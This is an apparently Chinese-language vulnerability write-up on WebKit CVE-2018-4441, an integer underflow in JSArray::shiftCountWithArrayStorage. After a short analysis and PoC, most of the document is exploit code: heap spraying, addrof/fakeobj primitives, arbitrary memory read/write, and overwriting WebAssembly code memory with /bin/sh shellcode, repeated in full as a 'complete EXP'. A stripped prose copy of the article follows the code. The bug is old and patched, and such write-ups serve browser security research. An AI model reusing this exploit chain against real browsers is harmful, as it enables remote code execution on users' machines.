Webkit cve-2018-4441 shiftCountWithArrayStorage 漏洞分析与复现
字数 1217 2025-08-25 22:58:35

WebKit CVE-2018-4441 shiftCountWithArrayStorage 漏洞分析与利用

漏洞概述

CVE-2018-4441 是 WebKit 中的一个漏洞,由安全研究员 lokihardt 发现。该漏洞存在于 JSArray::shiftCountWithArrayStorage 函数中,可能导致内存越界访问,最终可用于实现远程代码执行。

环境配置

  • 使用补丁前一个版本:commit 21687be235d506b9712e83c1e6d8e0231cc9adfd
  • 编译环境:Ubuntu 18.04
  • 相关文件:可参考作者提供的环境配置

漏洞分析

漏洞位置

漏洞位于 Source/JavaScriptCore/runtime/JSArray.cpp 中的 shiftCountWithArrayStorage 函数:

bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage)
{
    unsigned oldLength = storage->length();
    RELEASE_ASSERT(count <= oldLength);

    // 漏洞点:holesMustForwardToPrototype 条件判断不充分
    if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this)) 
        || hasSparseMap() 
        || shouldUseSlowPut(indexingType())) {
        return false;
    }

    if (!oldLength)
        return true;

    unsigned length = oldLength - count;
    storage->m_numValuesInVector -= count;  // 可能造成整数下溢
    storage->setLength(length);
    //...
}

漏洞原理

  1. 条件判断缺陷holesMustForwardToPrototype 在大多数情况下返回 false,导致即使数组包含 holes 也能进入后续处理逻辑。

  2. 整数计算问题:当 m_numValuesInVector 小于 count 时,m_numValuesInVector -= count 会导致整数下溢,使 m_numValuesInVector 变为一个很大的值。

  3. hasHoles() 判断失效hasHoles() 通过比较 m_numValuesInVectorlength(),当下溢发生后,两者可能相等,导致 hasHoles() 返回 false。

POC 分析

function main() {
    let arr = [1];
    
    arr.length = 0x100000;
    arr.splice(0, 0x11);
    
    arr.length = 0xfffffff0;
    arr.splice(0xfffffff0, 0, 1);
}

main();

POC 执行流程:

  1. 创建 ArrayWithInt32 类型数组 [1]
  2. 设置 length 为 0x100000,转换为 ArrayWithArrayStorage
  3. 调用 splice(0, 0x11) 触发漏洞:
    • oldLength = 0x100000
    • count = 0x11
    • length = 0x100000 - 0x11 = 0xfffef
    • m_numValuesInVector = 1 - 0x11 = 0xfffffff0 (下溢)
  4. 设置 length 为 0xfffffff0,使 hasHoles() 返回 false
  5. 调用 splice(0xfffffff0, 0, 1) 触发越界内存操作

漏洞利用

内存布局构造

  1. 喷射大量对象,构造特定内存布局:
let spray = new Array(0x3000);
for (let i = 0; i < 0x3000; i += 2) {
    spray[i]   = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
    spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];  // 用于 fakeobj
}
for (let i = 0; i < 0x3000; i += 2)
    spray[i][0] = i2f(0x1337);
  1. 触发漏洞后寻找被修改长度的对象:
arr.splice(0x1000,0,1);
fake_index=-1;
for(let i=0;i<0x3000;i+=2){
    if(spray[i].length!=10){
        print("hit: "+i.toString(16));
        fake_index=i;
        break;
    }
}

addrof 和 fakeobj 原语构造

unboxed = spray[fake_index];   // ArrayWithDouble
boxed = spray[fake_index+1];   // ArrayWithContiguous

function addrof(obj){
    boxed[0] = obj;
    return f2i(unboxed[14]);  // 通过类型混淆读取对象地址
}

function fakeobj(addr){
    unboxed[14] = i2f(addr);  // 通过类型混淆伪造对象
    return boxed[0];
}

任意地址读写

  1. 创建 victim 数组:
victim = [1.1];
victim[0] = 3.3;
victim['prop'] = 13.37;
victim['prop'+1] = 13.37;
  1. 构造容器对象:
i32[0]=100;
i32[1]=0x01082107 - 0x10000;
var container={
    jscell:f64[0],
    butterfly:victim,
}
  1. 实现任意读写:
var hax = fakeobj(container_addr+0x10);

var unboxed2 = [1.1];
unboxed2[0] =3.3;
var boxed2 = [{}]

// 设置读写原语
hax[1] = i2f(addrof(unboxed2))
var shared = victim[1];
hax[1] = i2f(addrof(boxed2))
victim[1] = shared;

var stage2={
    read64: function(addr){
        hax[1] = i2f(addr + 0x10);
        return this.addrof(victim.prop);
    },
    write64: function(addr,data){
        hax[1] = i2f(addr+0x10);
        victim.prop = this.fakeobj(data)
    }
}

通过 WASM 执行 shellcode

stage2.pwn = function(){
    var wasm_code = new Uint8Array([...]);
    var wasm_mod = new WebAssembly.Module(wasm_code);
    var wasm_instance = new WebAssembly.Instance(wasm_mod);
    var f = wasm_instance.exports.main;
    
    var addr_f = this.addrof(f);
    var addr_p = this.read64(addr_f + 0x40);
    var addr_shellcode = this.read64(addr_p);
    
    shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05"
    this.write(addr_shellcode, shellcode);
    f();
}

完整 EXP

// 类型转换函数
var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)

var BASE32 = 0x100000000
function f2i(f) {
    f64[0] = f
    return i32[0] + BASE32 * i32[1]
}

function i2f(i) {
    i32[0] = i % BASE32
    i32[1] = i / BASE32
    return f64[0]
}

// 触发漏洞
let arr = [1];
arr.length = 0x100000;
arr.splice(0, 0x11);
arr.length = 0xfffffff0;

// 内存喷射
let spray = new Array(0x3000);
for (let i = 0; i < 0x3000; i += 2) {
    spray[i]   = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
    spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];
}
for (let i = 0; i < 0x3000; i += 2)
    spray[i][0] = i2f(0x1337)

// 触发memmove越界
arr.splice(0x1000,0,1);

// 寻找被修改的对象
fake_index=-1;
for(let i=0;i<0x3000;i+=2){
    if(spray[i].length!=10){
        print("hit: "+i.toString(16));
        fake_index=i;
        break;
    }
}

// 构造addrof/fakeobj
unboxed = spray[fake_index];
boxed = spray[fake_index+1];

function addrof(obj){
    boxed[0] = obj;
    return f2i(unboxed[14]);
}

function fakeobj(addr){
    unboxed[14] = i2f(addr);
    return boxed[0];
}

// 构造任意读写
victim = [1.1];
victim[0] =3.3;;
victim['prop'] = 13.37;
victim['prop'+1] = 13.37;

i32[0]=100;
i32[1]=0x01082107 - 0x10000;
var container={
    jscell:f64[0],
    butterfly:victim,
}
container_addr = addrof(container);
hax = fakeobj(container_addr+0x10);

var unboxed2 = [1.1];
unboxed2[0] =3.3;
var boxed2 = [{}]

hax[1] = i2f(addrof(unboxed2))
var shared = victim[1];
hax[1] = i2f(addrof(boxed2))
victim[1] = shared;

// 最终利用
var stage2={
    addrof: function(obj){
        boxed2[0] = obj;
        return f2i(unboxed2[0]);
    },
    fakeobj: function(addr){
        unboxed2[0] = i2f(addr);
        return boxed2[0];
    },
    read64: function(addr){
        hax[1] = i2f(addr + 0x10);
        return this.addrof(victim.prop);
    },
    write64: function(addr,data){
        hax[1] = i2f(addr+0x10);
        victim.prop = this.fakeobj(data)
    },
    write: function(addr, shellcode) {
        var theAddr = addr;
        for(var i=0;i<shellcode.length;i++){
            this.write64(addr+i,shellcode[i].charCodeAt())
        }
    },
    pwn: function(){
        var wasm_code = new Uint8Array([...]);
        var wasm_mod = new WebAssembly.Module(wasm_code);
        var wasm_instance = new WebAssembly.Instance(wasm_mod);
        var f = wasm_instance.exports.main;
        var addr_f = this.addrof(f);
        var addr_p = this.read64(addr_f + 0x40);
        var addr_shellcode = this.read64(addr_p);
        shellcode = "j;X\x99RH\xbb//bin/shST_RWT^\x0f\x05"
        this.write(addr_shellcode, shellcode);
        f();
    }
}

stage2.pwn();

参考

  • https://anquan.baidu.com/article/644
  • 原始漏洞报告和 lokihardt 的分析
WebKit CVE-2018-4441 shiftCountWithArrayStorage 漏洞分析与利用 漏洞概述 CVE-2018-4441 是 WebKit 中的一个漏洞,由安全研究员 lokihardt 发现。该漏洞存在于 JSArray::shiftCountWithArrayStorage 函数中,可能导致内存越界访问,最终可用于实现远程代码执行。 环境配置 使用补丁前一个版本:commit 21687be235d506b9712e83c1e6d8e0231cc9adfd 编译环境:Ubuntu 18.04 相关文件:可参考作者提供的环境配置 漏洞分析 漏洞位置 漏洞位于 Source/JavaScriptCore/runtime/JSArray.cpp 中的 shiftCountWithArrayStorage 函数: 漏洞原理 条件判断缺陷 : holesMustForwardToPrototype 在大多数情况下返回 false,导致即使数组包含 holes 也能进入后续处理逻辑。 整数计算问题 :当 m_numValuesInVector 小于 count 时, m_numValuesInVector -= count 会导致整数下溢,使 m_numValuesInVector 变为一个很大的值。 hasHoles() 判断失效 : hasHoles() 通过比较 m_numValuesInVector 和 length() ,当下溢发生后,两者可能相等,导致 hasHoles() 返回 false。 POC 分析 POC 执行流程: 创建 ArrayWithInt32 类型数组 [1] 设置 length 为 0x100000,转换为 ArrayWithArrayStorage 调用 splice(0, 0x11) 触发漏洞: oldLength = 0x100000 count = 0x11 length = 0x100000 - 0x11 = 0xfffef m_numValuesInVector = 1 - 0x11 = 0xfffffff0 (下溢) 设置 length 为 0xfffffff0,使 hasHoles() 返回 false 调用 splice(0xfffffff0, 0, 1) 触发越界内存操作 漏洞利用 内存布局构造 喷射大量对象,构造特定内存布局: 触发漏洞后寻找被修改长度的对象: addrof 和 fakeobj 原语构造 任意地址读写 创建 victim 数组: 构造容器对象: 实现任意读写: 通过 WASM 执行 shellcode 完整 EXP 参考 https://anquan.baidu.com/article/644 原始漏洞报告和 lokihardt 的分析